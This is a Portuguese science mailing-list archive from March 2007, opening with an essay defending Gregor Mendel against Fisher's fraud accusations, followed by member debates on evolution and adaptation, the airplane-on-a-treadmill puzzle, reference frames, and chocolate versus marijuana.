Recentemente, assistindo a um programa do jornalista americano Charlie Rose sobre Charles Darwin, no qual ele entrevista os famosos geneticistas americanos James Watson (leia-se �estrutura do DNA�) e Edward O. Wilson (leia-se �sociobiologia�), ouvi o seguinte di�logo:

Wilson: �Gostaria de sugerir que, daqui a 500 anos, talvez daqui a 1000 anos, haver� dois marcos principais da origem da biologia moderna: a Origem das esp�cies de 1859 e o artigo de 1953 demonstrando a estrutura do DNA, por Watson e Crick.�
Watson: �N�o quero soar modesto, mas eu adicionaria um terceiro, que � o de Mendel em 1865.�
Wilson: [veementemente]: �Discordo!�



Gregor Mendel (1822-1884) nasceu pobre na Europa Central e passou a maior parte de sua vida em um monast�rio na Mor�via. Sua carreira foi totalmente desprovida de tra�os her�icos.



Por que Gregor Mendel (1822-1884) n�o seria considerado uma figura da mesma estatura cient�fica de Darwin? Eis um prato cheio para os historiadores da ci�ncia. Minha opini�o � que, simplesmente, faltava-lhe carisma. Seu arco de vida n�o � aquele do her�i m�tico que discutimos em janeiro � pelo contr�rio, atrevo-me a dizer que Mendel � um anti-her�i tr�gico. Uso aqui a express�o �anti-her�i� no mesmo significado do Dicion�rio Houaiss que o define como �oposto do her�i, especialmente personagem de fic��o a quem faltam atributos f�sicos e/ou morais caracter�sticos do her�i cl�ssico�.

Sou f� de carteirinha do Mendel. Basta ler o seu artigo de 1865 intitulado � Experimentos sobre a hibridiza��o das plantas � para sentir um intelecto poderoso em a��o, brilhante no planejamento detalhado dos experimentos, na an�lise cuidadosa dos dados e na interpreta��o disciplinada dos resultados. O trabalho � um triunfo do m�todo cient�fico, com doses equilibradas de inspira��o e perspira��o!

A conclus�o da pesquisa de Mendel � contra-intuitiva para a �poca, mas cogente, inevit�vel e irrefut�vel � foi que a transmiss�o de caracteres heredit�rios ocorria de maneira particulada, qu�ntica, descont�nua, por meio dos �genes� (que s� viriam a receber este nome em 1906). Certamente ele descrevia um mecanismo biol�gico de singular beleza e de uma simplicidade franciscana (no caso de Mendel poder�amos tamb�m dizer de uma transcend�ncia agostiniana, j� que esta era a sua ordem religiosa).

Assim como a gravita��o newtoniana basta para explicar a mec�nica celeste e a sele��o natural darwiniana basta para explicar a evolu��o da vida na Terra, a heran�a �particulada� de Mendel basta para explicar a hereditariedade gen�tica. E tudo isso contido em um texto espartano, cient�fico, factual, matem�tico. Como disse S�o Jer�nimo (342?-420), respons�vel pela Vulgata , a primeira tradu��o da B�blia para o latim: venerationi mihi semper fuit non verbosa rusticitas, sed sancta simplicitas (�Sempre reverenciei n�o a r�stica verbosidade, mas a santa simplicidade�). N�o resisto aqui � tenta��o de lembrar que o alter ego do cult�ssimo S�o Jer�nimo no sincretismo afro-brasileiro � o poderoso Xang�. Sarav�!

Feio, pobre e mora longe
Quando eu era crian�a, era comum descrever um indiv�duo sem grandes qualidades aparentes com a express�o �� feio, pobre, tem p� grande e mora longe�. N�o sei quanto Mendel cal�ava, mas certamente ele preenchia todos os outros requisitos.

Em uma c�psula: Mendel nasceu na Sil�sia, na Europa Central, muito longe de Londres, Paris, Berlim e Viena, os grandes centros cient�ficos da �poca. Sua fam�lia era de modestos agricultores. Foi batizado como Johann, nome trocado mais tarde por Gregor, ao entrar em 1843 para a Abadia Agostiniana de S�o Tom�s em Br�nn (hoje na Rep�blica Tcheca, mas na �poca parte do Imp�rio Austro-H�ngaro). Sua voca��o religiosa � question�vel � no s�culo 19, a �nica op��o vi�vel para um jovem pobre que quisesse seguir uma carreira �cient�fica� era o ingresso em um convento. Em 1851 o monge Gregor foi enviado para cursar a Universidade de Viena. Retornou em 1853 como professor de f�sica, acumulando as fun��es de hortel�o e jardineiro da abadia.



O primeiro laborat�rio de gen�tica! Jardim de Mendel em foto de 1920.



Entre 1856 e 1863 Mendel conduziu experimentos de hibridiza��o gen�tica na ervilha Pisum sativum (e em abelhas), analisando mais de 28 mil plantas. Em 8 de fevereiro e 8 de mar�o de 1865, teve oportunidades de apresentar seus resultados na Sociedade dos Naturalistas de Br�nn e o texto foi publicado no ano seguinte (mas com data de 1865) nos Anais da Sociedade. Eleito abade logo depois, Mendel ficou absorvido com tarefas administrativas e brigas com o governo a respeito de impostos, praticamente abrindo m�o de seus interesses cient�ficos. Permaneceu no mosteiro at� sua morte em 1884, aos 61 anos.

Certamente o charme dessa biografia � zero! A menos que fizesse um esfor�o para ler cuidadosamente o trabalho de Mendel, ningu�m conseguiria apreciar a magnitude de seu g�nio. Mas por que fazer esse esfor�o? Quem imaginaria que os segredos mais fundamentais da biologia estariam contidos em um artigo em alem�o com o t�tulo ins�pido e herm�tico de �Experimentos sobre a hibridiza��o das plantas�?

Ignorado em vida como grande cientista, Mendel sofreu ainda uma campanha de difama��o ap�s a festiva e explosiva redescoberta de seus trabalhos em 1900 . As acusa��es de que os seus resultados eram �bons demais� para serem verdadeiros poderiam ter passado despercebidas, n�o fosse o fato de o coro dos maledicentes ser liderado pelo legend�rio Sir Ronald A. Fisher (1890-1982), um dos pais da estat�stica e da gen�tica de popula��es, importante figura da ci�ncia inglesa no s�culo 20.

Sete caracteres, sete cromossomos
Dois aspectos do trabalho de Mendel foram destacados por Fisher e outros cr�ticos como altamente suspeitos: o n�mero e natureza de caracteres que ele estudou e as propor��es fenot�picas observadas em seus experimentos. Com rela��o aos primeiros, Mendel examinou sete caracteres diferentes e observou segrega��o independente entre eles.

Antes de continuar, vale a pena lembrar que o genoma da ervilha Pisum sativum tem sete cromossomos. Seria uma coincid�ncia extraordin�ria Mendel ter escolhido a priori sete caracter�sticas fenot�picas unilocais, todas localizadas em cromossomos diferentes, o que lhes garantiria segrega��o independente. Com base neste racioc�nio, alguns sugeriram ent�o que o mais prov�vel era que Mendel tivesse trabalhado com um n�mero maior de caracteres e descartado os que apresentaram distor��es de segrega��o por estarem presentes no mesmo cromossomo e ligados. Assim, come�aram a soprar as brisas da cal�nia que tendem a crescer e a se transformar em furac�es (estou a pensar aqui na deliciosa �ria La calunnia � un venticello , da �pera Barbeiro de Sevilha , de Rossini).

Para mim, essas d�vidas foram muito bem resolvidas em uma carta publicada no peri�dico Nature em 1975 por Stig Blix, um geneticista sueco que naquela �poca estava trabalhando em Piracicaba (SP), no Centro de Energia Nuclear na Agricultura. Blix mostrou que, dos sete caracteres estudados por Mendel, dois estavam no cromossomo 1, tr�s no cromossomo 4, um no 5 e outro no 7.

Por que, ent�o, n�o houve distor��es ocasionadas pela liga��o? Segundo Blix, os dois genes no cromossomo 1 e dois dos tr�s no cromossomo 4 est�o t�o distantes um do outro que se segregam independentemente. Apenas um dos pares poderia ter apresentado liga��o, mas aparentemente Mendel nunca estudou a segrega��o deles. Assim, a meu ver, Mendel fica completamente inocentado da primeira acusa��o de fraude.

O paradoxo do �bom demais�


Exemplar dos Anais da Sociedade de Naturalistas de Br�nn com a o artigo de Mendel. Havia uma c�pia dessa revista na biblioteca de Darwin, mas o artigo de Mendel ainda estava com as p�ginas pristinamente fechadas, o que demonstra que n�o havia sido lido.



Sir Ronald A. Fisher analisou os dados combinados de Mendel usando um teste estat�stico chamado qui-quadrado e achou que eles eram ajustados demais, ou seja, era extremamente improv�vel que Mendel tivesse encontrado aqueles resultados puramente ao acaso. Em 1937 ele publicou um artigo concluindo que Mendel, ou algum assistente, havia falsificado os dados. Considerando-se a import�ncia e influ�ncia de Fisher, n�o � surpresa que essa acusa��o tenha se difundido pela comunidade gen�tica, sendo mesmo mencionada em v�rios livros-texto at� hoje.

Entretanto, como demonstrado em 1984 por Ira Pilgrim em um breve artigo , o grande matem�tico ingl�s cometera um erro l�gico! Fisher havia incorrido em uma vers�o estat�stica da fal�cia ex-post-facto , que consiste em se conscientizar sobre a baixa probabilidade de um evento depois de ele ter ocorrido e a partir da� fazer infer�ncias retrospectivas sobre suas poss�veis causas!

Por exemplo, imagine que voc� esteja em uma roda de p�quer e algu�m receba �de cara� um royal straight flush (10-J-Q-K-A de um mesmo naipe). Imediatamente voc� se levanta e declara: a probabilidade de isto ocorrer � de apenas 0,0000015, portanto deve ter havido fraude! Esse comportamento seria extremamente il�gico, para n�o dizer antiesportivo. Cada jogador recebe um conjunto de cartas e qualquer conjunto de cartas espec�fico � igualmente improv�vel a priori !

A probabilidade de um bilhete espec�fico ser premiado na Loteria Federal tamb�m � baix�ssima, e mesmo assim toda semana um bilhete � premiado! Voc� n�o pode acusar o ganhador da loteria de desonestidade s� pela baixa probabilidade inicial de seu bilhete vir a ser sorteado! De novo as acusa��es contra Mendel caem por terra.

Uma vers�o bastante comum desta mesma fal�cia ex-post-facto refere-se � baix�ssima probabilidade da emerg�ncia espont�nea da vida na Terra e de sua evolu��o por mecanismos naturais at� o aparecimento do Homo sapiens . Postula-se, ent�o, a exist�ncia de uma deidade que tenha dirigido o processo. Esse tipo de argumento falacioso � freq�entemente invocado contra a teoria da evolu��o, o que nos leva de volta a Darwin.

Mendel e Darwin
Mendel era grande admirador de Darwin e leu praticamente toda a sua obra. Ainda h� na biblioteca do mosteiro de Br�nn uma c�pia da Origem das esp�cies (segunda edi��o, em alem�o, de 1863) cheia de anota��es marginais feitas por Mendel. Por outro lado, n�o existe evid�ncia de que Darwin sequer soubesse da exist�ncia de Mendel. O exemplar dos Anais da Sociedade de Naturalistas de Br�nn que continha o artigo �Experimentos sobre a hibridiza��o das plantas� de Mendel foi encontrado na biblioteca de Darwin ap�s a sua morte, mas as folhas duplas t�picas das publica��es antigas (que vinham fechadas e precisavam ser cortadas com uma esp�tula) n�o haviam nem sido abertas para leitura...


* Sergio Danilo Pena
Professor Titular do Departamento de Bioqu�mica e Imunologia
Universidade Federal de Minas Gerais
09/03/2007

< http://cienciahoje.uol.com.br/67324 >


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Mendel: o anti-herói - Sergio Danilo Pena
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/03/2007 18:41

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> [ Por que Gregor Mendel (1822-1884) não seria considerado uma figura
> da mesma estatura científica de Darwin?

O trabalho de Mendel é, sem dúvida, importantíssimo para a compreensão
do processo de herança. Mas, diferentemente de Darwin (e Wallace) e
Newton, a descoberta de Mendel não foi uma revolução científica - as
leis de herança "apenas" explicavam um fenômeno bem familiar,
encaixando-se perfeitamente dentro das engrenagens de visão de mundo
da época. O trabalho de Watson, Crick, Wilkins e Rosalin foram
importantes com a descoberta da estrutura do ADN, mas igualmente não
foram revolucionários.

Outro ponto q pesa contra Mendel, é q seu trabalho ficou um tto às
moscas até a redescoberta das leis da genética no início do séc. 20.

[]s,

Roberto Takata



SUBJECT: frase do dia.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <brasil-politica@grupos.com.br>, "Reflita Brasil" <reflitabrasil@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 12/03/2007 19:18



"É inútil tentar fazer um homem abandonar pelo raciocínio uma coisa que não adquiriu pela razão."
- Jonathan Swift

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sombras do Iluminismo - Manuel Bulcão Neto
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/03/2007 23:19

Olá, Manuel Bulcão, a ênfase que vc deu no prefácio do livro à idéia da
humanidade decepcionada pelas promessas não cumpridas pelas ciências
retroagir às crendices aterrorizantes, ficou mais forte do que faz crer sua
fé nos homens e na razão desenvolvida por esse mesmo ser humano.
Veja outros comentários no corpo do texto abaixo, após JR -.
.......................................
From: "Manuel Bulcão" <manuelbulcao@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 09, 2007 10:22 AM
Subject: [ciencialist] Re: Sombras do Iluminismo - Manuel Bulcão Neto


Salve, José Renato!

José Renato: Apenas uma opinião ou entendimento seu me pareceu
exagerado: a de que as pessoas, ao se desencantarem com as promessas
de um maravilhoso mundo novo que as descobertas científicas induziu,
tenderão voltar ao embotamento das crendices atávicas e ao
fundamentalismos religiosos.

Manuel: Sim, apenas "tenderão". Mas há contratendências. Por isso que
ajo com o pessimismo da inteligência e o otimismo da vontade. Aliás,
no fim do prefácio, comento sobre a minha "fé nos homens e na razão",
na minha "convicção firme de que no meio da fruta podre do Iluminismo
existe uma semente viva e fecunda", e termino com uma sentença
exclamativa: "Esta semente brotará!"

José Renato: Na minha visão as coisas continuarão praticamente do
mesmo jeito, com a maioria das pessoas buscando um paraíso light-zen,
tipo Nova Era, sem maiores compromissos com valores éticos, que serão
adaptados ao gosto e à comodidade do novo crente, dentro do marketing
do consumo acelerado pelo desperdício propagandeado, pelo
sucateamento acelerado dos bens de consumo e pela dependência
psicológica e cultural mantida de todas as formas pelos donos da
grana. Os profetas de seu tempo continuarão a denunciar as aberrações
e mazelas dos poderosos e, como sempre ocorreu, sofrerão as
conseqüências por isso.

Manuel: Gostaria também de acreditar que o "subterrâneo" em que
vivemos - do qual me esforço para emergir - pelo menos se detenha
neste nível: que não desça a profundezas realmente infernais. Mas...
sei não, Renato. Mesmo averso ao catastrofismo e ao talento paranóico
dos inventores de teorias conspiracionistas, não posso deixar de ver
essa confluência de fatores nos conduzindo a condições objetivas cada
vez mais adversas: o modo atritante como vem se processando a
Globalização (em que as vantagens e os ônus são distribuídos de forma
tão desigual), a atual crise energética e, para piorar, o aquecimento
global.

E quando o horizonte futuro é muito nebuloso, as pessoas "tendem" a
buscar o referencial no passado, idealizando-o.
JR - Noto que já vivemos em um mundo idealizado e vendido por quem precisa
vender e controlar para obter cada vez mais poder. Lembra da época em que
éramos influenciados pelos filmes hollywoodianos. A abertura da comunicação
e o aprendizado da razão da existência pode ajudar nessa desmistificação.

As forças irracionais da Reação (da regressão psicótica) jamais se
apaziguam por completo. Seu corolário mitológico é o oxigênio que
transforma o ferro das idéias em ferrugem: a ferrugem cientificista,
a ferrugem do fundamentalismo religioso etc.
JR - Acredito que há males maiores atuando para desacreditar a razão, a
igualdade, a liberdade e a fraternidade: o consumismo desregrado; o
desperdício provocado; o desrespeito ao ser humano e à sua casa, a Terra.

Essas forças irracionais, inconscientes e fotofóbicas estão sempre à
espera da próxima grande noite em que, "para desgraça e ensinamento
dos homens, [mais uma vez] acordarão seus ratos" (Camus).

Mantenhamos, por isso, no coldre esquerdo, a lanterna de Voltaire, e,
no outro coldre, o revólver do jacobino.
JR - Ainda estamos vivendo em um roteiro escrito pelos que dominam a mídia e
as comunicações, mas à medida que aprendemos a pensar por nós mesmos, vamos
discernir onde estão as viseiras ou biombos e saber como removê-los. Em vez
de coldre, procuro exercitar lucidez e coragem. Pois como disse Martin
Luther King: o que me assusta não é a atitude violenta dos maus... É o
silêncio dos bons...

Abraços,
Manuel Bulcão

Abraços
José Renato
......................................................



SUBJECT: Re: [ciencialist] Re: Poisson2
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/03/2007 23:27

Inspirada sua resposta, Alberto!
É muito difícil pensar o absoluto. Para facilitar a vida dos menos
interessados afasta-se o absoluto e difunde-se o relativismo.
[]s
JR
.............................................................
From: "Alberto Mesquita Filho" <albmesq@
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 09, 2007 12:34 PM
Subject: Re: [ciencialist] Re: Poisson2


> ----- Original Message -----
> From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Friday, March 09, 2007 10:19 AM
> Subject: Re: [ciencialist] Re: Poisson2
>
>> Vcs acreditam no 'centro de massa' do universo todo. Nesse universo todo
>> não pode haver 'forças externas', só internas e conseqüentemente o centro
>> de massa do universo é um invariante (fixo) desde o nascimento. Por que
>> não usar esse centro de massa como referencial absoluto de repouso?
>
> Boa pergunta.
>
> Com a palavra os relativistas "modernos" de plantão, pois do ponto de
> vista
> clássico não vejo objeção nenhuma. Lembro, não obstante, que segundo a
> minha
> maneira de interpretar o absolutismo do *movimento*, o absolutismo do
> *espaço* (e, em decorrência, do referencial) perde muito de sua
> importância
> (a não ser sob aspectos históricos ou teleológicos dos problemas em
> consideração). Nestas condições o próprio relativismo passa a ser de fato
> relativo, e o significado de referencial perde um pouco daquele
> "absolutismo
> relativista" que incorporou nos séculos pós-Newton e, muito especialmente,
> durante o transcorrer do século XX. O absolutismo, por seu turno, ganha em
> importância exigindo a caracterização do que tenho chamado "energia
> absoluta", distinta da energia mecânica como é estudada em relatividade
> (clássica ou moderna). As relatividades (assim como a energia mecânica
> tradicional) continuam a ser importantes, mas adquirem um carater
> puramente
> operacional, restrito e de reduzido valor epistemológico.
>
> Enfim, tudo isso são conjecturas a merecerem maiores considerações.
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o engano deJoseRenato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 00:00

Jeff, entendo que a seleção proposta por Darwin ocorre depois das mutações.
Agora peço que tente entender que a adaptação independe de mutações. O
próprio organismo do ser vivo promove as condições mais econômicas e
adequadas para sobreviver a uma mudança no ambiente.
[]s
José Renato
...............................................

From: "Jefferson" <jeff@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, March 10, 2007 10:44 AM
Subject: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o
engano deJoseRenato


> Olá,
>>
>> Homero, qualquer ser vivo se adapta ao ambiente! Será que vc não consegue
>> entender isso? Vc se estende em elucubrações sem qualquer sentido ao que
>> se discute, desnecessariamente.
>>
> Não se adapta, é selecionado pelo ambiente. Tente entender que a seleção
> ocorre *depois* de mutações, que são "aleatórias", sem a intenção de se
> adaptar ao ambiente.
>
> []´,s
> Jeff.



SUBJECT: Re: [ciencialist]P/ Jose Renatp - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/03/2007 00:13

Homero, chamei sua atenção que mover não é voar, seja o que for: avião,
navio, abelha ou nave espacial... Isso é cristalino. Vc mesmo acrescenta
logo a seguir que para voar é necessário um movimento em velocidade
suficiente [ de forma que esse movimento permita a passagem de ar pelas asas
e conseqüente sustentação] .
Ainda não entendi o seu desespero em torcer o que puder para ter razão. Não
posso fazer que vc aceite na marra minhas idéias e interpretações. Isso só
ocorre com o entendimento do que estamos expondo. Atenha-se a isso e teremos
melhor desenvolvimento na análise deste e de outros problemas.
[]s
José Renato
........................................................................
.
From: "Oraculo" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, March 10, 2007 3:27 PM
Subject: [Spam] [ciencialist]P/ Jose Renatp - O avião decola SEM
PROBLEMAS..:-) Re: avião em esteira


Olá Jose Renato

Renato: "Calma, Homero, se mover não é voar! Todos os aviões são construído
para se
mover quando os motores forem acionados. Sua conclusão é açodada..."

Não, não é. Para aviões, se mover É voar, desde que a passagem de ar pelas
asas permita. Você está, mais uma vez, enganado. Completamente, como todos
já tentaram demonstrar, e como os textos de especialistas também. A esteira
é um engodo, um "red hering", que você engoliu com anzol e tudo, e que não
consegue se livrar.

A imagtem das "rodas sobre a esteira que gira para trás" está impedindo que
enxergue a questão corretamente.

Para aviões, se mover É voar, e todo seu sistema propulsor, que NÃO envolve
as rodas, é apenas para isso, faze-lo se mover, de forma que esse movimento
permita a passagem de ar pelas asas e consequente sustentação.

Está errado, Renato, e nada vai mudar isso. Admitir um erro, que afinal é
natural pois o enunciado tem esse propósito, enganar nossa mente, não é
demérito, demérito é teimar de forma tole e um tanto ingenua.

Um abraço.

Homero



----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 10, 2007 12:08 AM
Subject: Re: [Spam] [ciencialist]P/ Takata - O avião decola SEM
PROBLEMAS..:-) Re: avião em esteira


Calma, Homero, se mover não é voar! Todos os aviões são construído para se
mover quando os motores forem acionados. Sua conclusão é açodada...
[]s
JR
.....................................................

----- Original Message -----
From: "oraculo333" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, March 07, 2007 2:02 AM
Subject: [Spam] [ciencialist]P/ Takata - O avião decola SEM PROBLEMAS..:-)
Re: avião em esteira

Olá pessoal

Esta a seguir é a resposta de um especialista aeronautico da
Aero/Astro (Aeronautical and Astronautical Engineering), George
Springer, que praticamente repete os exemplos e argumentos que já
vimos. Ele afirma, com certeza derivada de sua especialidade, que:

"Unless the wheels are locked, the friction is always going to be less
than the thrust, which means that the overall force is still forward,
and the plane will still move."

E o avião decola..:-)

Um abraço.

Homero
_____________________________________________
The problem here, of course, is that the poster (and Neal) cannot
disengage themselves from seeing the airplane as a car. The difference
between a car and a grounded airplane is that a car uses its wheels to
propel itself forward, and an airplane moves itself forward by moving
air. They assume that the runway moving backwards would move the plane
backwards. This is what would happen with a car (that is in gear), so
why not for an airplane? Well, because an airplane's wheels are free
rolling. There is obviously some friction, so there would be some
small backwards force, but it would be infinitely small as compared to
the forward thrust of the airplane.

You can test this with a piece of paper and a matchbox car (which has
free rolling wheels like an airplane. or like a car in neutral.) Place
the paper on a table, and place the matchbox car on the paper. Take
your hand, and hold the car still with a lightly placed finger on top
of the car. At this point you are providing no forward thrust, and the
"conveyor belt" is not moving. The car remains stationary. Now,
continuing to hold the airplane with a lightly placed finger, and
start to pull the paper out from under the car, in the backwards
direction. According to Neal's logic, the car should push back on your
finger with the same force that you are exerting on the paper. but
this is not what will happen. You will find that your lightly placed
finger is not stressed to any noticeable extent. The paper will slide
out, and the wheels will spin, but the car will not be propelled
backwards. The reason for this is is that the rotation of the wheels
is not related to the movement of the matchbox car except by the very
small friction component of the axle, which your lightly placed finger
can easily control.

So now we have established that movement of the surface beneath a free
wheeling object does not exert a noticeable force on the object. Next,
we'll see what happens when the object is trying to move forward.
Attach a string to the matchbox car. Place the car at one end of the
paper, and use the string to start pulling the car forward with a
steady force. As the car moves forward, start pulling the paper out
from under the car, backwards. Do you feel increased resistance as you
pull the string? Of course not. The wheels are free rolling! Spinning
the wheels does not make the object move!

When an airplane takes off, there is one major forward force. the
forward thrust. The main rearward force is air resistance. The turning
of the wheels provides a small frictional force, but because the
wheels are free-rolling, this friction is very small. Unless the
wheels are locked, the friction is always going to be less than the
thrust, which means that the overall force is still forward, and the
plane will still move.

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SUBJECT: Re: P/ Jose Renato - Tartarugas, mamutes, e o engano deJoseRenato
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/03/2007 00:43

Olá Jose Renato

Renato: "Jeff, entendo que a seleção proposta por Darwin ocorre depois
das mutações."

Ótimo, é um passo a frente que temos esperado há muito tempo..:-)

Renato: "Agora peço que tente entender que a adaptação independe de
mutações. O próprio organismo do ser vivo promove as condições mais
econômicas e adequadas para sobreviver a uma mudança no ambiente."

Bem, dois passos para tras..:-( Não, Renato, o organismo não faz isso,
no sentido de evolução. Qualquer "ajuste" feito pelo organismo tem de
estar previamente definido em suas capacidades, e previamente definido
em seus genes.

Um urso JAMAIS vai aumentar seus pelos se ficar frio, ele tem de
nascer com os pelos a mais, e só nascerá com pelos a mais se
ALEATORIAMENTE, sem intenção, a combinação de genes que receber de
seus pais assim determinar (aqui um alerta, um urso pode nascer com
genes que determinem que seus pelos aumentem ou diminuam com a
temperatura, mas mesmo isso TEM de estar definido na formação de seu
DNA, não é uma evolução individual).

SE não houver mutações, SE o DNA for identico ao ancestral que o
passou adiante, NENHUMA adaptação ocorrerá e NENHUMA evolução
ocorrerá. Nenhuma.

Nenhuma espécie se adaptará se não houver mutações, diferenças mínimas
nos genes dos descendentes.

Mesmo bactérias, que se reproduzem simplesmente se dividindo, tem de
contar com "erros" de codificação na divisão e duplicação dos genes,
ou não evoluiriam.

O que parece chamar de "próprio organismo do ser vivo promove as
condições mais econômicas e adequadas para sobreviver a uma mudança no
ambiente" é uma confusão com ajustes NÃO evolutivos, como, por
exemplo, a diminuição do metabolismo em tempos de pouca comida de
muitos mamiferos, com evolução por herança de caracteres.

A diminuição de metabolismo é algo "já determiando" nos genes do
individuo, não é um exemplo de adaptação evolutiva. Sei que vai
confundir tudo e dizer "como assim, não é um exemplo de evolução, pois
isso não aumentou as vantagens da espéice de sobreviver??!!"

Sim, a ESPÉCIE evoluiu, e agora apresenta essa capacidade de ajuste,
mas cada individuo nasce com a capacidade previamente definida, e NÃO
evolui para adquiri-la de nenhuma forma.

Isso cansa..:-(

Se seus genes que determinam essa capacidade, de diminuir o
metabolismo em tempos de pouca comida, não estiverem ativos ou
presentes, você NÃO vai evoluir e agir dessa forma. Vai morrer de fome
mais rapidamente que os outros, se a comida for pouca, jamais
"evoluindo" nesse sentido.

Entretanto, como vai morrer, esses genes com defeito, ou o padrão "sem
genes para diminuir metabolismo" não estarão presentes na próxima
geração de seres humanos.

Vamos para um caso concreto, algumas pessoas nascem sem a capacidade
de regular sua temperatura corporal como você e todos nós fazemos. Se
elas aquecerem demais (correr, por exemplo), tem de arrumar uma forma
externa de esfriar, ou vão morrer de hipertermia.

Um atleta de corrida treinava com baldes de água sempre por perto,
para jogar sobre seu corpo, mesmo em dias frios, para não morrer no
treino.

Este ser humano JAMAIS vai evoluir e adquirir capacidade de diminuir
sua temperatura. Jamais. Morrerá como nasceu.

Se seus filhos receberem, por azar, esses genes que não permitem
esfriar, igualmente terão problemas, e JAMAIS evoluirão nesse sentido.

Nenhum individuo evolui, espécies evoluem, devido a seleção natural,
que elimina (mata ou impede a procriação) os que, por azar, não tem
padrões de genes eficazes em sobreviver.

Um abraço.

Homero






--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Jeff, entendo que a seleção proposta por Darwin ocorre depois das
mutações.
> Agora peço que tente entender que a adaptação independe de mutações. O
> próprio organismo do ser vivo promove as condições mais econômicas e
> adequadas para sobreviver a uma mudança no ambiente.
> []s
> José Renato
> ...............................................
>
> From: "Jefferson" <jeff@To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, March 10, 2007 10:44 AM
> Subject: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes,
e o
> engano deJoseRenato
>
>
> > Olá,
> >>
> >> Homero, qualquer ser vivo se adapta ao ambiente! Será que vc não
consegue
> >> entender isso? Vc se estende em elucubrações sem qualquer sentido
ao que
> >> se discute, desnecessariamente.
> >>
> > Não se adapta, é selecionado pelo ambiente. Tente entender que a
seleção
> > ocorre *depois* de mutações, que são "aleatórias", sem a intenção
de se
> > adaptar ao ambiente.
> >
> > []´,s
> > Jeff.
>




SUBJECT: Re: P/ Jose Renato - Tartarugas, mamutes, e o engano deJoseRenato
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/03/2007 01:16

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> O próprio organismo do ser vivo promove as condições mais econômicas
> e adequadas para sobreviver a uma mudança no ambiente.

Isso é adaptação *fisiológica*, não é herdável. A capacidade de se
adaptar fisiologicamente pode ser herdável, mas não uma adaptação
específica. Por exemplo, Fulano pode se adaptar fisiologicamente de
modo q consiga obter oxigênio a taxas adequadas de um ar rarefeito
como o encontrado no alto de montanhas - seu teor de hemoglobina
aumenta. Mas esse maior teor de hemoglobina não é herdado - seus
filhos q nasçam no litoral, terão q quantidade de hemoglobina igual
aos q sempre moraram no litoral. A capacidade de aumentar o teor de
hemoglobina se mudarem para a altitude é herdável - essa capacidade de
alteração é uma adaptação evolutiva, mas o teor alto de hemoglobina na
altitude é uma adaptação fisiológica.

Agora, povos q habitam a altitude há gerações, não tem um teor de
hemoglobina aumentado, são suas hemoglobinas q são diferentes. Se eles
vão para o litoral, continuam a produzir hemoglobinas diferentes. E
seus filhos q nasçam no litoral tb produzirão hemoglobinas diferentes.
Não há adaptação fisiológica, o tipo de hemoglobina produzida e sua
quantidade não se alteram. Mas o tipo de hemoglobina é uma adaptação
evolutiva.

A mudança de teor da hemoglobina no primeiro caso, não envolve uma
mutação. O teor mais alto nos altiplanos não é herdável. Não é uma
adaptação evolutiva.

O tipo diferente de hemoglobina no segundo caso envolve uma mutação
antiga. É herdável. Trata-se de uma adaptação evolutiva.

Toda adaptação evolutiva envolve uma ou mais mutações.

[]s,

Roberto Takata



SUBJECT: Res: [ciencialist] Re: Chocolate poderia se tornar ilegal
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/03/2007 06:57

[E]> sim, maconha alimenta. (a semente é um dos alimentos
mais completos)
por outro lado, do cacaueiro não se tira papel nem tecido...

ps: a maior parte dos alimentos é levemente psicoativa
de alguma forma. a comparação do chocolate com
maconha, nesse aspecto, é descabida. Embora
não exista dose fatal para a maconha e vira e mexe
a aspirina matar um (p. ex.) os efeitos da maconha
são muito fortes, capazes de levar um incauto
a erros de percepção, incapacidade para controlar
veículo ou máquina, etc...




----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Segunda-feira, 26 de Fevereiro de 2007 2:17:03
Assunto: [ciencialist] Re: Chocolate poderia se tornar ilegal













--- Em ciencialist@ yahoogrupos. com.br, "Eduardo Santos Gama"

> O que queremos considerar ilegal, a molécula de THC ou seu efeito

> sobre o humor? Se for o efeito sobre o humor, não deveria o

> chocolate ser ilegal também ?



Qual o teor de anandamina no chocolate e qual o equivalente

farmacocinético do THC?



